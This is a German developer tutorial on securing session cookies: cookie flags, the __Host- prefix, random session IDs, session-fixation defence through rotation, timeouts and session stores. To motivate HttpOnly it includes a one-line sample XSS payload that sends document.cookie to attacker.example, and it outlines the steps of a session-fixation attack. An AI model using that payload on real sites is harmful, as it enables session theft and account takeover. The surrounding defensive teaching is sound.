Wenn ein User eingeloggt ist, hält der Server seinen Auth-Zustand typischerweise in einer Session. Das Bindeglied zwischen Browser und Server-Session ist ein Cookie mit der Session-ID. Die Cookie-Konfiguration entscheidet, ob diese ID gegen XSS (HttpOnly), gegen Netzwerk-Sniffing (Secure), gegen CSRF (SameSite) und gegen Session-Fixation geschützt ist. Dieser Artikel zeigt die Cookie-Flags, die Session-Lebenszyklus-Patterns und die typischen Bug-Klassen.

FlagWas es machtPflicht für Auth-Cookies?
HttpOnlyJS via document.cookie kann nicht lesenJa — gegen XSS-Cookie-Diebstahl
SecureNur über HTTPS übertragenJa — gegen Netzwerk-Sniffing
SameSiteSchickt Cookie bei Cross-Site-Requests nicht (oder nur bei Top-Level GET)Ja — Lax Minimum, Strict wo möglich
PathPfad-Scope (default /)Selten ändern; /api für API-Cookies möglich
DomainDomain-Scope (default: aktueller Host)Nicht setzen, außer Subdomain-Sharing nötig
Max-Age / ExpiresCookie-LebensdauerSetzen — sonst Session-Cookie (bis Browser-Close)
Partitioned (CHIPS)Storage-Partitioning pro Top-Frame-SiteNur für 3rd-Party-Cookies relevant

Minimal-Konfiguration für ein modernes Session-Cookie:

HTTP session-cookie-minimal.txt
Set-Cookie: __Host-sessionId=opaque-random; HttpOnly; Secure; SameSite=Lax; Path=/; Max-Age=86400

Das __Host--Präfix erzwingt Browser-seitig: Secure, Path=/, kein Domain-Attribut. Maximal-restriktiv, garantiert dass das Cookie nur für diesen exakten Host gilt.

Ohne HttpOnly kann JavaScript via document.cookie das Session-Cookie lesen. Bei einer XSS-Lücke liest der Angreifer-Code die Session-ID aus und sendet sie an einen kontrollierten Server — Account-Übernahme.

JavaScript xss-cookie-theft.js
// Eingeschleuster XSS-Payload
new Image().src = 'https://attacker.example/?c=' + document.cookie;
// attacker sieht die volle Cookie-Liste im Server-Log

Mit HttpOnly wirft document.cookie keinen Fehler, gibt aber das geschützte Cookie nicht zurück — JavaScript hat keinen Zugriff.

Konsequenz für Auth-Architektur: Session-Cookies immer HttpOnly. Wenn die SPA selbst die Session-ID lesen muss (für CSRF-Token-Setup), ist die Architektur falsch — der Server soll das CSRF-Token in einem separaten, lesbaren Cookie oder als Response-Header senden.

Was HttpOnly NICHT verhindert:

  • Cookie via XSS senden — wenn der Angreifer-Code fetch('/api/transfer', { credentials: 'include' }) aufruft, schickt der Browser das Cookie automatisch mit. Vertieft in csrf-grundlagen.
  • CSRF-KlasseSameSite ist die separate Schutz-Schicht dafür.

Secure — gegen Netzwerk-Sniffing

Secure weist den Browser an, das Cookie nur über HTTPS zu senden. Ohne Secure-Flag würde der Browser das Cookie auch über HTTP übertragen — was bei automatischer Weiterleitung HTTP → HTTPS einen kurzen Zeitraum lässt, in dem das Cookie im Klartext geht.

Pflicht für jedes Auth-Cookie. Über HTTPS ist das Cookie ohnehin geschützt; das Flag verhindert nur die HTTP-Variante.

Bei lokalem Dev-Setup ohne HTTPS:

  • Im Dev-Mode mit localhost ist Secure browser-seitig auch ohne HTTPS akzeptiert (Chromium ab v89).
  • Andere Hosts (z. B. 192.168.1.x) brauchen TLS-Setup (mkcert) oder Dev-only-Override.

SameSite — gegen CSRF

SameSite steuert, ob der Browser das Cookie bei Cross-Site-Requests mitschickt.

WertVerhaltenWann nutzen
StrictCookie nur bei Same-Site-Requests; auch nicht bei Klick auf externen Link zur SiteMaximal-Schutz, aber User klickt von Mail → Seite ohne Login
Lax (Default seit 2020)Cookie bei Same-Site-Requests immer; bei Cross-Site nur bei Top-Level-GETDefault für die meisten Apps
NoneCookie immer, auch Cross-Site (Secure Pflicht)Nur für legitime 3rd-Party-Cookies (Embed, OAuth-Redirect)

Faustregel:

  • Klassische Login-Cookies: SameSite=Lax als Default. Reicht für 99 % der CSRF-Klassen.
  • Sehr sensitive Operationen (Banking, Admin-Panel): SameSite=Strict — User muss dann nach Klick auf externen Link nochmal einloggen, was bewusste Entscheidung ist.
  • 3rd-Party-Embed-Use-Cases (Login-Widget auf Partner-Site): SameSite=None; Secure. Aber: Storage-Partitioning ändert das Modell seit 2024 — vertieft in samesite-cookies (Kap 12).

Wichtig: SameSite=Lax ist kein vollständiger CSRF-Schutz. GET-Requests mit Side-Effects (z. B. /logout-Link, /delete?id=...) sind weiterhin angreifbar. Vertieft in csrf-tokens-und-double-submit.

Session-ID — wie zufällig ist genug?

Eine Session-ID ist ein Bearer-Token — wer sie hat, ist eingeloggt. Die ID muss:

  • Kryptografisch zufällig sein — niemals sequenziell, niemals von User-Daten abgeleitet, niemals UUIDv1 (Zeit-basiert).
  • Mindestens 128 Bit Entropie haben (OWASP-Mindeststandard); 256 Bit sind heute üblich.
  • Nicht enumerierbar sein — niemand soll aus einer gültigen ID die nächste raten können.

Beispiel-Implementierung:

JavaScript session-id-generation.js
const crypto = require('crypto');

// 32 Bytes = 256 Bit Entropie
function newSessionId() {
  return crypto.randomBytes(32).toString('base64url');
  // Ergebnis ~43 Zeichen URL-safe
}
Python session-id-generation-python.py
import secrets
session_id = secrets.token_urlsafe(32)  # 32 Bytes = 256 Bit

Niemals selbst rollen:

  • UUIDv4 ist zwar zufällig, aber nur 122 Bit Entropie und für viele Library-Implementierungen Standard-erwartet — okay als Fallback, nicht ideal.
  • UUIDv7 (Zeit-basiert mit Random-Anteil) ist gut für Datenbank-Primary-Keys, nicht für Session-IDs.
  • MD5(timestamp + userid) und ähnliche Konstrukte sind ratbar — Anti-Pattern.

Session-Fixation

Session-Fixation ist ein Angriff, bei dem der Angreifer dem Opfer eine vorbereitete Session-ID unterschiebt — und nach dem Login des Opfers diese ID selbst nutzt.

Klassischer Ablauf:

  1. Angreifer holt sich eine Session-ID von der Ziel-App (z. B. anonymer Warenkorb-Session).
  2. Angreifer bringt das Opfer dazu, mit dieser Session-ID die Seite zu besuchen (Phishing-Link mit Session-ID in URL, Set-Cookie via XSS).
  3. Opfer loggt sich ein — Server hält die bestehende Session-ID und upgradet sie zu „authenticated".
  4. Angreifer hat dieselbe Session-ID, ist jetzt eingeloggt als Opfer.

Schutz: Session-Rotation nach Login.

JavaScript session-rotation-on-login.js
app.post('/login', async (req, res) => {
  // ... Auth-Check ...

  // KRITISCH: bestehende Session zerstören, neue erzeugen
  await sessionStore.destroy(req.cookies.sessionId);
  const newSessionId = crypto.randomBytes(32).toString('base64url');
  await sessionStore.set(newSessionId, {
    userId: user.id,
    createdAt: Date.now(),
  });

  res.cookie('sessionId', newSessionId, {
    httpOnly: true, secure: true, sameSite: 'lax',
  });
  res.json({ ok: true });
});

Auch beim Privilege-Escalation (User wird zu Admin, MFA-Step abgeschlossen, Re-Auth) — neue Session-ID generieren. Verhindert, dass eine geleakte „normale" Session-ID nach Privilege-Erhöhung weiter gilt.

Standard-Frameworks machen das oft automatisch — z. B. Devise (Rails), Django Auth, Spring Security. Custom-Code muss es explizit.

Session-Lebenszyklus

Eine Session braucht klare Regeln für Ablauf und Invalidierung.

JavaScript session-lifecycle-pattern.js
const SESSION_ABSOLUTE_TTL = 24 * 60 * 60 * 1000;       // 24 Stunden
const SESSION_IDLE_TTL = 30 * 60 * 1000;                // 30 Minuten Idle
const SESSION_REAUTH_FOR_SENSITIVE = 5 * 60 * 1000;     // 5 Minuten

function isSessionValid(session) {
  const now = Date.now();
  if (now - session.createdAt > SESSION_ABSOLUTE_TTL) return false;
  if (now - session.lastActivity > SESSION_IDLE_TTL) return false;
  return true;
}

// Bei jedem Request: lastActivity aktualisieren
function updateActivity(session) {
  session.lastActivity = Date.now();
}

// Explizite Logout-Funktion: Session aus Store löschen
async function logout(sessionId) {
  await sessionStore.destroy(sessionId);
  // Cookie clearen
  res.clearCookie('sessionId');
}

Pattern-Empfehlungen:

  • Idle-Timeout: 15–60 Minuten je nach Sensitivität. Banking: 5–10 Min. Standard-Web-App: 30 Min. Social Media: stundenlang.
  • Absolute-Timeout: 12–24 Stunden für Web-Apps; 7 Tage für „Remember me"-Funktion mit niedrigeren Privilegien.
  • Logout-on-everywhere: Session-Store muss alle Sessions eines Users auf einmal invalidieren können (für „Aus allen Geräten ausloggen"-Feature).

Session-Store-Architektur

Wo werden Sessions gespeichert?

StoreVorteileNachteile
In-Memory (Single-Server)Schnell, einfachSkaliert nicht, Restart = Logout
RedisSchnell, geteilt, TTL eingebautSingle Point of Failure, Cluster-Setup
Datenbank (SQL)Persistent, verlässlichLatenz höher, Schreib-Last
Signiertes Cookie (alle State im Cookie)Stateless, skalierbarRevocation schwierig (Token-Pattern, siehe JWT)
Cloud-Provider-Session-StoreManagedLock-in, Latenz wenn anderswo gehostet

Empfehlung für die meisten Apps: Redis als Session-Store. Schnell genug, Skalierungs-fähig, TTL eingebaut. Bei Single-Server-Setup geht auch In-Memory (express-session mit MemoryStore) — Logout bei Restart akzeptabel.

Multi-Region-Apps: Session-Store regional, Cookie mit User-Location → Routing zur richtigen Region. Oder vollständig stateless mit JWT (siehe jwt-stateless-tokens).

Besonderheiten

__Host- und __Secure-Präfixe sind unterschätzt

Cookie-Namen mit Präfix __Host- erzwingen browser-seitig: Secure, Path=/, kein Domain. Mit __Secure--Präfix: nur Secure. Wenn der Server versucht, ein Cookie mit Präfix ohne diese Eigenschaften zu setzen, lehnt der Browser es ab. Strukturelle Garantie statt Hoffnung. Vertieft in Kap 16 cookie-flags-und-attribute.

Storage Partitioning ab 2024 ändert Cross-Site-Cookies

Chrome, Firefox und Safari partitionieren seit 2024 fast alle 3rd-Party-Cookies pro Top-Frame-Site. SameSite=None reicht nicht mehr für „Cookie überall verfügbar" — der Partitioned-Flag (CHIPS) ist nötig. Für klassische First-Party-Auth-Cookies ändert sich nichts; für embed-basierte Auth-Flows (SSO-Widgets) ist es ein eigenes Thema.

Session-Hijacking durch Sub-Domain-XSS

Wenn deine App auf app.example.com läuft und das Cookie mit Domain=.example.com gesetzt wird, hat eine XSS-Lücke auf blog.example.com oder cdn.example.com Zugriff auf das Cookie. __Host--Präfix oder kein Domain-Attribut verhindert das. Sub-Domains von User-Content (z. B. usercontent.example.com) sind besonders gefährlich.

Cookie-Size-Limit (4 KB) ist eine Grenze

Pro Cookie ~4 KB. Wenn Session-Daten direkt im Cookie liegen (Stateless), schnell erreicht. Session-Store-Pattern (Cookie hat nur die ID, Daten serverseitig) hat dieses Problem nicht. Bei JWT-Patterns mit vielen Claims aufpassen — manchmal Compression nötig.

"Remember Me" mit niedrigerer Privilege-Stufe

Eine elegante Lösung: zwei Cookies. Session-Cookie mit kurzer TTL für volle Berechtigung; Remember-Cookie mit langer TTL und niedrigerer Berechtigung (kann automatisch wieder in Session-Cookie aufgewertet werden, aber für sensible Aktionen ist Re-Auth nötig). GitHub und GitLab arbeiten so.

Server-Side Session-Listing für User

Eine Account-Settings-Seite „Aktive Sessions" mit Liste aller laufenden Sessions (Gerät, IP, Last-Activity) plus „Diese Session beenden"-Button ist sicherheits-relevant — und User-freundlich. Google, GitHub, Discord machen es vor. Implementierungs-Trick: pro Session ein Eintrag im Session-Store mit Metadaten (UA, IP), Listing-Query gegen userId-Index.

Cookie-Verschlüsselung statt Server-State (signed cookies)

Frameworks wie Rails und ASP.NET unterstützen encrypted cookies, in denen Session-State server-signiert (und optional verschlüsselt) direkt im Cookie liegt. Schnell, stateless, ohne externen Session-Store. Nachteil: Revocation funktioniert nicht direkt — Cookie bleibt valide bis Ablauf. Für kleine Apps ohne kritisches Logout-Anforderung okay, für sensible Apps nicht empfohlen.

Weiterführende Ressourcen

Externe Quellen

/ Weiter

Zurück zu Authentifizierung (Entwickler)

Zur Übersicht